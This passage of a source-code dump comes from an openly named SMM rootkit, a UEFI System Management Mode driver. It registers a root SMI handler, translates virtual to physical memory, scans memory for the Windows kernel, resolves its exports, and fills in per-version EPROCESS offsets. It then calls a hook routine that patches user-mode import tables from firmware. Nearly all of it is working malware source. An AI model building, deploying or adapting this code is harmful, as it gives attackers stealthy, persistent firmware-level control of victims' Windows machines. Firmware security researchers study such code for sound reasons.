BOOLEAN v_memReadMultiPage(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose)
{
  UINT64 curr_vAddr = src;
  UINT64 read = 0;

  while (n > 0)
  {
    UINT64 nextPage = (curr_vAddr + 0x1000) & ~0xfff;
    UINT64 to_read = nextPage - curr_vAddr;

    // if it's the "last" read
    if (n < to_read)
      to_read = n;

    // Translate to physical
    UINT64 pSrc = VTOP(curr_vAddr, directoryBase, FALSE);
    if (pSrc == 0)
    {
      return FALSE;
    }
    // read physical
    p_memCpy(dest + read, pSrc, to_read, verbose);
    n -= to_read;
    read += to_read;
    curr_vAddr += to_read;
  }
  return TRUE;
}

BOOLEAN v_memRead(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose)
{
  // Translate to physical
  UINT64 pSrc = VTOP(src, directoryBase, FALSE);

  if (pSrc == 0)
  {
    return FALSE;
  }

  // Read physical
  return p_memCpy(dest, pSrc, n, verbose);
}


================================================
FILE: SMM Rootkit/SMMRootkit/Memory.h
================================================
#ifndef __smmrootkit_memory_h__
#define __smmrootkit_memory_h__

#include <Uefi.h>
#include <Protocol/SmmBase2.h>

#include "MemoryMapUEFI.h" // IsAddressValid
#include "serial.h"

/*
 * We use windows size of PAGE_OFFSET_SIZE
 * and PMASK2
 */
#include "windows.h"

typedef struct _Cache
{
  UINT64 vAddress;
  UINT64 pAddress;
} Cache, PCache;

#ifdef __GNUC__
typedef UINT32 size_t;
#endif

BOOLEAN p_memCpy(UINT64 dest, UINT64 src, size_t n, BOOLEAN verbose);

UINT64 VTOP(UINT64 address, UINT64 directoryBase, BOOLEAN verbose);

BOOLEAN PTOV(UINT64 qwAddrPhys, UINT64 *pqwAddrVirt, UINT64 *pqwPTE, UINT64 *pqwPDE, UINT64 *pqwPDPTE, UINT64 *pqwPML4E, BOOLEAN verbose);

BOOLEAN v_memWrite(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose);

BOOLEAN v_memReadMultiPage(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose);

BOOLEAN v_memRead(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose);

#endif

================================================
FILE: SMM Rootkit/SMMRootkit/MemoryMapUEFI.c
================================================
#include "MemoryMapUEFI.h"

EFI_EXIT_BOOT_SERVICES gOrigExitBootServices;
EFI_MEMORY_DESCRIPTOR *mUefiMemoryMap;
UINTN mUefiMemoryMapSize;
UINTN mUefiDescriptorSize;
extern EFI_BOOT_SERVICES *lBS; // From SMMRootkit.c

#define NEXT_MEMORY_DESCRIPTOR(MemoryDescriptor, Size) \
  ((EFI_MEMORY_DESCRIPTOR *)((UINT8 *)(MemoryDescriptor) + (Size)))

#define PREVIOUS_MEMORY_DESCRIPTOR(MemoryDescriptor, Size) \
  ((EFI_MEMORY_DESCRIPTOR *)((UINT8 *)(MemoryDescriptor) - (Size)))

BOOLEAN IsUefiPageNotPresent(IN EFI_MEMORY_DESCRIPTOR *MemoryMap)
{
  switch (MemoryMap->Type)
  {
    //case EfiLoaderCode:
    //case EfiLoaderData:
    //case EfiBootServicesCode:
    //case EfiBootServicesData:
    //case EfiUnusableMemory:
    //case EfiACPIReclaimMemory:
    return TRUE;
  default:
    return FALSE;
  }
}

STATIC BOOLEAN CopyMemUnsafe(UINT64 dest, UINT64 src, UINT32 n, BOOLEAN verbose)
{
  // Typecast src and dest addresses to (char *)
  CHAR8 *csrc = (CHAR8 *)src;
  CHAR8 *cdest = (CHAR8 *)dest;

  // Copy contents of src[] to dest[]
  for (UINT32 i = 0; i < n; i++)
    cdest[i] = csrc[i];

  return TRUE;
}

STATIC VOID SortMemoryMap(
    IN OUT EFI_MEMORY_DESCRIPTOR *MemoryMap,
    IN UINTN MemoryMapSize,
    IN UINTN DescriptorSize)
{
  EFI_MEMORY_DESCRIPTOR *MemoryMapEntry;
  EFI_MEMORY_DESCRIPTOR *NextMemoryMapEntry;
  EFI_MEMORY_DESCRIPTOR *MemoryMapEnd;
  EFI_MEMORY_DESCRIPTOR TempMemoryMap;

  MemoryMapEntry = MemoryMap;
  NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);
  MemoryMapEnd = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)MemoryMap + MemoryMapSize);
  while (MemoryMapEntry < MemoryMapEnd)
  {
    while (NextMemoryMapEntry < MemoryMapEnd)
    {
      if (MemoryMapEntry->PhysicalStart > NextMemoryMapEntry->PhysicalStart)
      {
        CopyMem(&TempMemoryMap, MemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR));
        CopyMem(MemoryMapEntry, NextMemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR));
        CopyMem(NextMemoryMapEntry, &TempMemoryMap, sizeof(EFI_MEMORY_DESCRIPTOR));
      }

      NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize);
    }

    MemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);
    NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);
  }
}

STATIC VOID MergeMemoryMapForNotPresentEntry(
    IN OUT EFI_MEMORY_DESCRIPTOR *MemoryMap,
    IN OUT UINTN *MemoryMapSize,
    IN UINTN DescriptorSize)
{
  EFI_MEMORY_DESCRIPTOR *MemoryMapEntry;
  EFI_MEMORY_DESCRIPTOR *MemoryMapEnd;
  UINT64 MemoryBlockLength;
  EFI_MEMORY_DESCRIPTOR *NewMemoryMapEntry;
  EFI_MEMORY_DESCRIPTOR *NextMemoryMapEntry;

  MemoryMapEntry = MemoryMap;
  NewMemoryMapEntry = MemoryMap;
  MemoryMapEnd = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)MemoryMap + *MemoryMapSize);
  while ((UINTN)MemoryMapEntry < (UINTN)MemoryMapEnd)
  {
    CopyMem(NewMemoryMapEntry, MemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR));
    NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);

    do
    {
      MemoryBlockLength = (UINT64)(EFI_PAGES_TO_SIZE((UINTN)MemoryMapEntry->NumberOfPages));
      if (((UINTN)NextMemoryMapEntry < (UINTN)MemoryMapEnd) && ((MemoryMapEntry->PhysicalStart + MemoryBlockLength) == NextMemoryMapEntry->PhysicalStart))
      {
        MemoryMapEntry->NumberOfPages += NextMemoryMapEntry->NumberOfPages;
        if (NewMemoryMapEntry != MemoryMapEntry)
        {
          NewMemoryMapEntry->NumberOfPages += NextMemoryMapEntry->NumberOfPages;
        }

        NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize);
        continue;
      }
      else
      {
        MemoryMapEntry = PREVIOUS_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize);
        break;
      }
    } while (TRUE);

    MemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);
    NewMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NewMemoryMapEntry, DescriptorSize);
  }

  *MemoryMapSize = (UINTN)NewMemoryMapEntry - (UINTN)MemoryMap;

  return;
}

BOOLEAN InitUefiMemoryMap()
{
  UINTN MemoryMapSize;
  EFI_MEMORY_DESCRIPTOR *MemoryMap;
  UINTN LocalMapKey;
  UINT32 DescriptorVersion;
  MemoryMapSize = 0;
  MemoryMap = NULL;

  EFI_STATUS Status;

  Status = lBS->GetMemoryMap(
      &MemoryMapSize,
      MemoryMap,
      &LocalMapKey,
      &mUefiDescriptorSize,
      &DescriptorVersion);

  do
  {
    Status = lBS->AllocatePool(EfiBootServicesData, MemoryMapSize, (VOID **)&MemoryMap);

    if (MemoryMap == NULL)
    {
      return FALSE;
    }

    Status = lBS->GetMemoryMap(
        &MemoryMapSize,
        MemoryMap,
        &LocalMapKey,
        &mUefiDescriptorSize,
        &DescriptorVersion);
    if (EFI_ERROR(Status))
    {
      lBS->FreePool(MemoryMap);
      MemoryMap = NULL;
    }
  } while (Status == EFI_BUFFER_TOO_SMALL);

  if (MemoryMap == NULL)
    return FALSE;

  SortMemoryMap(MemoryMap, MemoryMapSize, mUefiDescriptorSize);
  MergeMemoryMapForNotPresentEntry(MemoryMap, &MemoryMapSize, mUefiDescriptorSize);

  mUefiMemoryMapSize = MemoryMapSize;
  EFI_PHYSICAL_ADDRESS NewMemoryMap;
  Status = lBS->AllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &NewMemoryMap);
  CopyMemUnsafe(NewMemoryMap, (UINT64)MemoryMap, MemoryMapSize, FALSE);
  mUefiMemoryMap = (EFI_MEMORY_DESCRIPTOR *)NewMemoryMap;
  lBS->FreePool(MemoryMap);

  return TRUE;
}

BOOLEAN IsAddressValid(UINT64 address)
{
  EFI_MEMORY_DESCRIPTOR *MemoryMap;
  UINTN MemoryMapEntryCount;
  UINTN Index;

  if (mUefiMemoryMap != NULL)
  {
    MemoryMap = mUefiMemoryMap;
    MemoryMapEntryCount = mUefiMemoryMapSize / mUefiDescriptorSize;

    for (Index = 0; Index < MemoryMapEntryCount; Index++)
    {
      if ((address >= MemoryMap->PhysicalStart) && (address < MemoryMap->PhysicalStart + EFI_PAGES_TO_SIZE((UINTN)MemoryMap->NumberOfPages)))
      {
        return TRUE;
      }
      MemoryMap = NEXT_MEMORY_DESCRIPTOR(MemoryMap, mUefiDescriptorSize);
    }
  }
  return FALSE;
}

EFI_MEMORY_DESCRIPTOR *GetUefiMemoryMap()
{
  return mUefiMemoryMap;
}

VOID ShowMemoryMap()
{
  EFI_MEMORY_DESCRIPTOR *MemoryMap;
  UINTN MemoryMapEntryCount;
  UINTN Index;

  if (mUefiMemoryMap != NULL)
  {
    MemoryMap = mUefiMemoryMap;
    MemoryMapEntryCount = mUefiMemoryMapSize / mUefiDescriptorSize;

    for (Index = 0; Index < MemoryMapEntryCount; Index++)
    {
      //SerialPrintString("Map: ");
      //SerialPrintNumber(Index, 10);
      //SerialPrintString("\r\n Type: ");
      //SerialPrintNumber(MemoryMap->Type, 10);
      //SerialPrintString("\r\n PhysStart: ");
      //SerialPrintNumber(MemoryMap->PhysicalStart, 16);
      //SerialPrintString(" PhysEnd: ");
      //SerialPrintNumber(MemoryMap->PhysicalStart + EFI_PAGES_TO_SIZE((UINTN)MemoryMap->NumberOfPages), 16);
      //SerialPrintString("\r\n\r\n");

      MemoryMap = NEXT_MEMORY_DESCRIPTOR(MemoryMap, mUefiDescriptorSize);
    }
  }
}

================================================
FILE: SMM Rootkit/SMMRootkit/MemoryMapUEFI.h
================================================
#ifndef __smmrootkit_mm_uefi_h__
#define __smmrootkit_mm_uefi_h__

#include <Uefi.h>
#include <Library/BaseMemoryLib.h>



BOOLEAN IsUefiPageNotPresent(IN EFI_MEMORY_DESCRIPTOR  *MemoryMap);


BOOLEAN InitUefiMemoryMap();


BOOLEAN IsAddressValid(UINT64 address);


EFI_MEMORY_DESCRIPTOR* GetUefiMemoryMap();


VOID ShowMemoryMap();


#endif

================================================
FILE: SMM Rootkit/SMMRootkit/SMMRootkit.c
================================================
// Basic UEFI Libraries
#include <Uefi.h>

// Protocols
#include <Protocol/SmmBase2.h>

// Our includes
#include "MemoryMapUEFI.h"
#include "TimerRTC.h"
#include "serial.h"
#include "WinUmdIATHook.h"
#include "Memory.h"
#include "WinTools.h"

EFI_SMM_SYSTEM_TABLE2 *gSmst2 = NULL;

// UEFI Tables (will be gone after exiting DXE stage)
EFI_SYSTEM_TABLE *lST = NULL;
EFI_BOOT_SERVICES *lBS = NULL;     // used by MemoryMapUEFI.c
EFI_RUNTIME_SERVICES *lRT = NULL;

// NTKernelTools.c
extern WinCtx *winGlobal;

// System initialization vars
UINT32 SystemStartTime;
UINT32 SystemUptime;
BOOLEAN SystemInitOS;

VOID SmmCallHandle()
{
  if (!SystemInitOS)
  {
    // try to grab the windows Context
    SystemInitOS = InitGlobalWindowsContext();
    // give more time if it still failed
    if (!SystemInitOS)
    {
      SystemStartTime = SystemUptime;
      return;
    }
  }

  // if the context has been initialized
  WindowsUmdIATHook();

  return;
}

EFI_STATUS EFIAPI SmmHandler(IN EFI_HANDLE DispatchHandle, IN CONST VOID *Context OPTIONAL, IN OUT VOID *CommBuffer OPTIONAL, IN OUT UINTN *CommBufferSize OPTIONAL)
{
  // if the OS has not been initialized
  if (!SystemInitOS)
  {
    // count if the OS SHOULD be initialized
    UINT16 TimeSinceLastSMI = CmosGetCurrentTime();

    // Did we overflow? This happens once every hour
    if (TimeSinceLastSMI < SystemUptime)
      SystemUptime += TimeSinceLastSMI;
    else
      SystemUptime = TimeSinceLastSMI;

    // ctx not initialized and system hasn't booted completely
    if (SystemUptime - SystemStartTime < 10)
    {
      return EFI_SUCCESS;
    }
  }

  SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE);
  SmmCallHandle();
  return EFI_SUCCESS;
}

EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable)
{
  // Write to serial port
  SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE);
  SerialPrintString("\r\n");
  SerialPrintString("--------------------------------------------\r\n");
  SerialPrintString("|                                          |\r\n");
  SerialPrintString("|          S M M    R O O T K I T          |\r\n");
  SerialPrintString("|                                          |\r\n");
  SerialPrintString("|       shoutout to    rain, Cr4sh,        |\r\n");
  SerialPrintString("|   ufrisk, Heep042, authors of LongKit    |\r\n");
  SerialPrintString("|                                          |\r\n");
  SerialPrintString("--------------------------------------------\r\n");
  SerialPrintString("\r\n");

  // Save the system tables etc. in global variable for further usage (currently only lBS used)
  lST = SystemTable;
  lBS = SystemTable->BootServices;
  lRT = SystemTable->RuntimeServices;

  EFI_STATUS res;
  EFI_SMM_BASE2_PROTOCOL *SmmBase2;

  // lookup the SmmBase2 protocol by its GUID
  EFI_GUID SmmBase2Guid = EFI_SMM_BASE2_PROTOCOL_GUID;
  if ((res = SystemTable->BootServices->LocateProtocol(&SmmBase2Guid, NULL, (void **)&SmmBase2)) != EFI_SUCCESS)
  {
    SerialPrintString("Could not locate SmmBase2 protocol!\r\n");
    return res;
  }

  // get EFI_SMM_SYSTEM_TABLE2 in global var
  if ((res = SmmBase2->GetSmstLocation(SmmBase2, &gSmst2)) != EFI_SUCCESS)
  {
    SerialPrintString("Could not locate SMST!\r\n");
    return res;
  }

  // Register SMI Root Handler, discard the returning handle (we never unload the handler)
  EFI_HANDLE hSmmHandler;
  if ((res = gSmst2->SmiHandlerRegister(&SmmHandler, NULL, &hSmmHandler)) != EFI_SUCCESS)
  {
    return res;
  }

  // Initialize the virtual memory map for UEFI
  SerialPrintStringDebug("Initializing UEFI Memory Map \r\n");
  if (!InitUefiMemoryMap())
  {
    SerialPrintString("Failed dumping Memory Map for UEFI \r\n");
    return EFI_ERROR_MAJOR;
  }
  SerialPrintStringDebug("Successfully dumped Memory Map \r\n");

  SerialPrintStringDebug("Memory Map at: 0x");
  SerialPrintNumberDebug((UINT64)GetUefiMemoryMap(), 16);
  SerialPrintStringDebug("\r\n");

  // Allocate memory for windows context.
  // This is allocated straight as a page
  // to prevent our cheap malloc trashing it
  EFI_PHYSICAL_ADDRESS physAddr;
  gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);
  winGlobal = (WinCtx *)physAddr;
  SerialPrintStringDebug("WinGlobal: 0x");
  SerialPrintNumberDebug((UINT64)winGlobal, 16);
  SerialPrintStringDebug("\r\n");

  // Set the start time of the PC
  SystemStartTime = CmosGetCurrentTime();
  SystemUptime = SystemStartTime;
  SerialPrintStringDebug("Start time was: ");
  SerialPrintNumberDebug(SystemStartTime, 10);
  SerialPrintStringDebug("\r\n");

  // Initialize our own heap with some memory to be used
  if (InitMemManager(100))
  {
    SerialPrintStringDebug("memory manager successfully initialized!\r\n");
  }

  // Initialize the os ctx value, so no useless
  // probing is done while the OS hasn't even booted
  SystemInitOS = FALSE;

  // Initialize the UMD IAT Hooking state
  InitWindowsUmdIATHook();

  return EFI_SUCCESS;
}

================================================
FILE: SMM Rootkit/SMMRootkit/SMMRootkit.inf
================================================
[defines]
  INF_VERSION = 0x00010005 
  BASE_NAME = SMMRootkit
  FILE_GUID = 22D5AE41-147E-4C44-AE72-ECD9BBB455C1
  MODULE_TYPE = DXE_SMM_DRIVER
  PI_SPECIFICATION_VERSION = 0x0001000A
  ENTRY_POINT = UefiMain

[Sources]
  SMMRootkit.c
  serial.c
  string.c
  MemManager.c
  MemoryMapUEFI.c
  Memory.c
  WinTools.c
  WinUmdIATHook.c
  TimerRTC.c

[Sources.X64]
  helpers.asm

[Packages]
  MdePkg/MdePkg.dec
  MdeModulePkg/MdeModulePkg.dec
  IntelFrameworkPkg/IntelFrameworkPkg.dec  
  IntelFrameworkModulePkg/IntelFrameworkModulePkg.dec  
  StdLib/StdLib.dec

[LibraryClasses]
  UefiDriverEntryPoint
  UefiBootServicesTableLib
  PcdLib
  BaseMemoryLib
  DevicePathLib
  SmmMemLib
  PciLib

[Protocols]
  gEfiSimpleTextOutProtocolGuid
  gEfiLoadedImageProtocolGuid
  gEfiSmmCpuProtocolGuid
  gEfiSmmBase2ProtocolGuid
  gEfiSmmAccess2ProtocolGuid
  gEfiSmmSwDispatch2ProtocolGuid
  gEfiSmmPeriodicTimerDispatch2ProtocolGuid
  gEfiSmmEndOfDxeProtocolGuid
  gEfiDevicePathProtocolGuid
  gEfiSerialIoProtocolGuid  
  gEfiCpuArchProtocolGuid
  
[Depex]
  TRUE


================================================
FILE: SMM Rootkit/SMMRootkit/TimerRTC.c
================================================
#include "TimerRTC.h"


UINT8 cmos_read(UINT8 index)
{
  IoWrite8(CMOS_PORT_ADDRESS, index);
  return IoRead8(CMOS_PORT_DATA);
}

VOID cmos_write(UINT8 index, UINT8 val)
{
  IoWrite8(CMOS_PORT_ADDRESS, index);
  IoWrite8(CMOS_PORT_DATA, val);
}

VOID read_statusc()
{
  // Has to be done after every interrupt else timer stops
  IoWrite8(CMOS_PORT_ADDRESS, 0xC);
  IoRead8(CMOS_PORT_DATA);
}

VOID cmos_enable()
{
  // Read current Status A
  UINT8 regA = cmos_read(0xA);

  // Set timer to 500ms
  regA = (regA & 0xF0) | 0x5;

  // Write Status A
  cmos_write(0xA, regA);

  // Read current Status B
  UINT8 regB = cmos_read(0xB);

  // Enable periodic timer
  regB = regB | 0x40;

  // Write Status B
  cmos_write(0xB, regB);
}

UINT8 get_RTC_register(INT32 reg)
{
  IoWrite8(CMOS_PORT_ADDRESS, reg);
  return IoRead8(CMOS_PORT_DATA);
}

UINT16 CmosGetCurrentTime()
{
  // Read Seconds and minutes
  UINT8 second = get_RTC_register(0x00);
  UINT8 minute = get_RTC_register(0x02);

  UINT8 registerB = cmos_read(0xB);
  if (!(registerB & 0x04))
  {
    second = (second & 0x0F) + ((second / 16) * 10);
    minute = (minute & 0x0F) + ((minute / 16) * 10);
  }

  return (UINT16)minute * 60 + second;
}

================================================
FILE: SMM Rootkit/SMMRootkit/TimerRTC.h
================================================
#ifndef __smmrootkit_timer_rtc_h__
#define __smmrootkit_timer_rtc_h__

#include <Uefi.h>
#include <Library/IoLib.h>

#define CMOS_PORT_ADDRESS 0x70
#define CMOS_PORT_DATA    0x71

UINT8 cmos_read(UINT8 index);

VOID cmos_write(UINT8 index, UINT8 val);

VOID read_statusc();

VOID cmos_enable();

UINT8 get_RTC_register(INT32 reg);

UINT16 CmosGetCurrentTime();

#endif

================================================
FILE: SMM Rootkit/SMMRootkit/WinTools.c
================================================
#include "WinTools.h"

#ifndef HEADER_SIZE
#define HEADER_SIZE 0x1000
#endif

WinCtx *winGlobal = NULL;

// from SMMRootkit.c
extern EFI_SMM_SYSTEM_TABLE2 *gSmst2;

/*
  The low stub (if exists), contains PML4 (kernel DirBase) and KernelEntry point.
  Credits: PCILeech
*/
STATIC BOOLEAN CheckLow(UINT64 *pml4, UINT64 *kernelEntry)
{
  UINT64 o = 0;
  while (o < 0x100000)
  {
    o += 0x1000;

    // Check if address is okay
    if (IsAddressValid(o) == TRUE)
    {
      if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64 *)(VOID *)(o + 0x000)))
      {
        continue;
      } // START
      if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64 *)(VOID *)(o + 0x070)))
      {
        continue;
      } // KERNEL
      if (0xffffff0000000fff & *(UINT64 *)(VOID *)(o + 0x0a0))
      {
        continue;
      } // PML4
      *pml4 = *(UINT64 *)(VOID *)(o + 0xa0);
      *kernelEntry = *(UINT64 *)(VOID *)(o + 0x70);

      return TRUE;
    }
  }
  return FALSE;
}

STATIC BOOLEAN findNtosKrnl(UINT64 kernelEntry, UINT64 PML4, UINT64 *ntKernel)
{
  // Check nulled kernelEntry
  SerialPrintStringDebug("  Trying to find Ntos kernel ... \r\n");

  UINT64 physicalFirst = 0;
  physicalFirst = VTOP(kernelEntry & 0xFFFFFFFFFF000000, PML4, FALSE);

  if (IsAddressValid(physicalFirst) == TRUE && physicalFirst != 0)
  {
    if (((kernelEntry & 0xFFFFFFFFFF000000) & 0xfffff) == 0 && *(INT16 *)(VOID *)(physicalFirst) == IMAGE_DOS_SIGNATURE)
    {
      INT32 kdbg = 0, poolCode = 0;
      for (INT32 u = 0; u < 0x1000; u++)
      {
        kdbg = kdbg || *(UINT64 *)(VOID *)(physicalFirst + u) == 0x4742444b54494e49;
        poolCode = poolCode || *(UINT64 *)(VOID *)(physicalFirst + u) == 0x45444f434c4f4f50;
        if (kdbg & poolCode)
        {
          *ntKernel = kernelEntry & 0xFFFFFFFFFF000000;
          SerialPrintStringDebug("  Kernel found!\r\n");
          return TRUE;
        }
      }
    }
  }

  // Check kernelEntry + 0x2000000
  UINT64 physicalSec = 0;
  physicalSec = VTOP((kernelEntry & 0xFFFFFFFFFF000000) + 0x2000000, PML4, FALSE);

  if (IsAddressValid(physicalSec) == TRUE && physicalSec != 0)
  {
    if ((((kernelEntry & 0xFFFFFFFFFF000000) + 0x2000000) & 0xfffff) == 0 && *(INT16 *)(VOID *)(physicalSec) == IMAGE_DOS_SIGNATURE)
    {
      INT32 kdbg = 0, poolCode = 0;
      for (INT32 u = 0; u < 0x1000; u++)
      {
        kdbg = kdbg || *(UINT64 *)(VOID *)(physicalSec + u) == 0x4742444b54494e49;
        poolCode = poolCode || *(UINT64 *)(VOID *)(physicalSec + u) == 0x45444f434c4f4f50;
        if (kdbg & poolCode)
        {
          *ntKernel = (kernelEntry & 0xFFFFFFFFFF000000) + 0x2000000;
          SerialPrintStringDebug("  Kernel found!\r\n");
          return TRUE;
        }
      }
    }
  }

  UINT64 i, p, u, mask = 0xfffff;

  while (mask >= 0xfff)
  {
    for (i = (kernelEntry & ~0x1fffff) + 0x10000000; i > kernelEntry - 0x20000000; i -= 0x200000)
    {
      for (p = 0; p < 0x200000; p += 0x1000)
      {

        UINT64 physicalP = 0;
        physicalP = VTOP(i + p, PML4, FALSE);

        if (IsAddressValid(physicalP) == TRUE && physicalP != 0)
        {
          if (((i + p) & mask) == 0 && *(INT16 *)(VOID *)(physicalP) == IMAGE_DOS_SIGNATURE)
          {
            INT32 kdbg = 0, poolCode = 0;
            for (u = 0; u < 0x1000; u++)
            {
              if (IsAddressValid(p + u) == FALSE)
                continue;

              kdbg = kdbg || *(UINT64 *)(VOID *)(physicalP + u) == 0x4742444b54494e49;
              poolCode = poolCode || *(UINT64 *)(VOID *)(physicalP + u) == 0x45444f434c4f4f50;
              if (kdbg & poolCode)
              {
                *ntKernel = i + p;
                SerialPrintStringDebug("  Kernel found!\r\n");
                return TRUE;
              }
            }
          }
        }
      }
    }

    mask = mask >> 4;
  }
  SerialPrintString("ERROR: Could not find NTOS Kernel!\r\n");
  return FALSE;
}

VOID FreeExportList(WinExportList list)
{
  if (!list.list)
    return;

  for (UINT32 i = 0; i < list.size; i++)
    free((CHAR8 *)list.list[i].name);

  free(list.list);
  list.list = NULL;
}

UINT64 GetProcAddress(const WinCtx *ctx, const WinProc *process, UINT64 module, const CHAR8 *procName)
{
  WinExportList exports;

  if (!GenerateExportList(ctx, process, module, &exports))
    return 0;

  UINT64 ret = FindProcAddress(exports, procName);
  FreeExportList(exports);
  return ret;
}

UINT64 FindProcAddress(const WinExportList exports, const CHAR8 *procName)
{
  for (UINT32 i = 0; i < exports.size; i++)
    if (!strcmp(procName, exports.list[i].name))
      return exports.list[i].address;
  return 0;
}

STATIC UINT16 GetNTVersion(const WinCtx *ctx)
{
  UINT64 getVersion = FindProcAddress(ctx->ntExports, "RtlGetVersion");

  if (!getVersion)
  {
    SerialPrintString("ERROR: Failed finding RtlGetVersion \r\n");
    return 0;
  }

  CHAR8 buf[0x100];

  v_memRead((UINT64)buf, getVersion, 0x100, ctx->initialProcess.dirBase, FALSE);

  CHAR8 major = 0, minor = 0;

  /* Find writes to rcx +4 and +8 -- those are our major and minor versions */
  for (CHAR8 *b = buf; b - buf < 0xf0; b++)
  {
    if (!major && !minor)
      if (*(UINT32 *)(VOID *)b == 0x441c748)
        return ((UINT16)b[4]) * 100 + (b[5] & 0xf);
    if (!major && (*(UINT32 *)(VOID *)b & 0xfffff) == 0x441c7)
      major = b[3];
    if (!minor && (*(UINT32 *)(VOID *)b & 0xfffff) == 0x841c7)
      minor = b[3];
  }

  if (minor >= 100)
    minor = 0;

  return ((UINT16)major) * 100 + minor;
}

STATIC UINT32 GetNTBuild(const WinCtx *ctx)
{
  UINT64 getVersion = FindProcAddress(ctx->ntExports, "RtlGetVersion");

  if (!getVersion)
  {
    SerialPrintString("ERROR: Failed finding RtlGetVersion \r\n");
    return 0;
  }

  UINT8 buf[0x100];
  v_memRead((UINT64)buf, getVersion, 0x100, ctx->initialProcess.dirBase, FALSE);

  /* Find writes to rcx +12 -- that's where the version number is stored. These instructions are not on XP, but that is simply irrelevant. */
  for (UINT8 *b = buf; b - buf < 0xf0; b++)
  {
    UINT32 val = *(UINT32 *)(VOID *)b & 0xffffff;
    if (val == 0x0c41c7 || val == 0x05c01b)
      return *(UINT32 *)(VOID *)(b + 3);
  }

  /* Build 19044 onwards:
   *
   * If we can't find the rcx + 12, find what was moved to EAX with offset of RIP,
   * In bytecode this translates to 0f b7 05 ef be ad de 
   *    (movzx  eax,WORD PTR [rip+offset] , offset deadbeef)
   * 
   * Later on in v_memRead a static offset of 7 is used because the movzx instruction 
   * takes 7 bytes in total, and RIP is pointing to the *next* instruction.
   */
  for (UINT8 *b = buf; b - buf < 0xf0; b++)
  {
    UINT32 val = *(UINT32 *)(VOID *)b & 0xffffff;
    /*
     * From 19044 onwards there are many movzx  eax,WORD PTR
     * instructions, for now the Build is the first being pushed
     */
    if (val == 0x05b70f)
    {
      UINT32 offset = *(UINT32 *)(VOID *)(b + 3);
      UINT16 build = 0;
      v_memRead((UINT64)&build, getVersion + (b - buf) + 7 + offset, sizeof(build), ctx->initialProcess.dirBase, FALSE);
      
      /*
       * For some reason the kernel first tries to offer 19041 as the build number here, 
       * but after a couple of retries the build number is magically patched to 
       * 19044. Gotta love Microsoft :-)
       */
      if(build > 19041)
        return (UINT32)build;

      return 0;
    }
  }

  return 0;
}

STATIC BOOLEAN SetupOffsets(WinCtx *ctx)
{
  switch (ctx->ntVersion)
  {
  case 502: /* XP SP2 */
    ctx->offsets = (WinOffsets){
        .apl = 0xe0,
        .session = 0x260,
        .imageFileName = 0x268,
        .dirBase = 0x28,
        .peb = 0x2c0,
        .peb32 = 0x30,
        .threadListHead = 0x290,
        .threadListEntry = 0x3d0,
        .teb = 0xb0};
    break;
  case 601: /* W7 */
    ctx->offsets = (WinOffsets){
        .apl = 0x188,
        .session = 0x2d8,
        .imageFileName = 0x2e0,
        .dirBase = 0x28,
        .peb = 0x338,
        .peb32 = 0x30,
        .threadListHead = 0x300,
        .threadListEntry = 0x420, /* 0x428 on later SP1 */
        .teb = 0xb8};
    /* SP1 */
    if (ctx->ntBuild == 7601)
      ctx->offsets.imageFileName = 0x2d8;
    break;
  case 602: /* W8 */
    ctx->offsets = (WinOffsets){
        .apl = 0x2e8,
        .session = 0x430,
        .imageFileName = 0x438,
        .dirBase = 0x28,
        .peb = 0x338, /*peb will be wrong on Windows 8 and 8.1*/
        .peb32 = 0x30,
        .threadListHead = 0x470,
        .threadListEntry = 0x400,
        .teb = 0xf0};
    break;
  case 603: /* W8.1 */
    ctx->offsets = (WinOffsets){
        .apl = 0x2e8,
        .session = 0x430,
        .imageFileName = 0x438,
        .dirBase = 0x28,
        .peb = 0x338,
        .peb32 = 0x30,
        .threadListHead = 0x470,
        .threadListEntry = 0x688, /* 0x650 on previous builds */
        .teb = 0xf0};
    break;
  case 1000: /* W10 */
    ctx->offsets = (WinOffsets){
        .apl = 0x2e8,
        .session = 0x448,
        .imageFileName = 0x450,
        .dirBase = 0x28,
        .peb = 0x3f8,
        .peb32 = 0x30,
        .threadListHead = 0x488,
        .threadListEntry = 0x6a8,
        .teb = 0xf0};

    if (ctx->ntBuild >= 18362)
    { /* Version 1903 or higher */
      ctx->offsets.apl = 0x2f0;
      ctx->offsets.threadListEntry = 0x6b8;
    }
      
    if (ctx->ntBuild >= 19041)
    {
      ctx->offsets.apl = 0x448;
      ctx->offsets.session = 0x558;
      ctx->offsets.imageFileName = 0x5a8;
      ctx->offsets.peb = 0x550;
      ctx->offsets.threadListHead = 0x5e0;
      ctx->offsets.threadListEntry = 0x4e8; //probably wrong, but it's not used anywhere
    }

    break;
  default:
    return FALSE;
  }
  return TRUE;
}

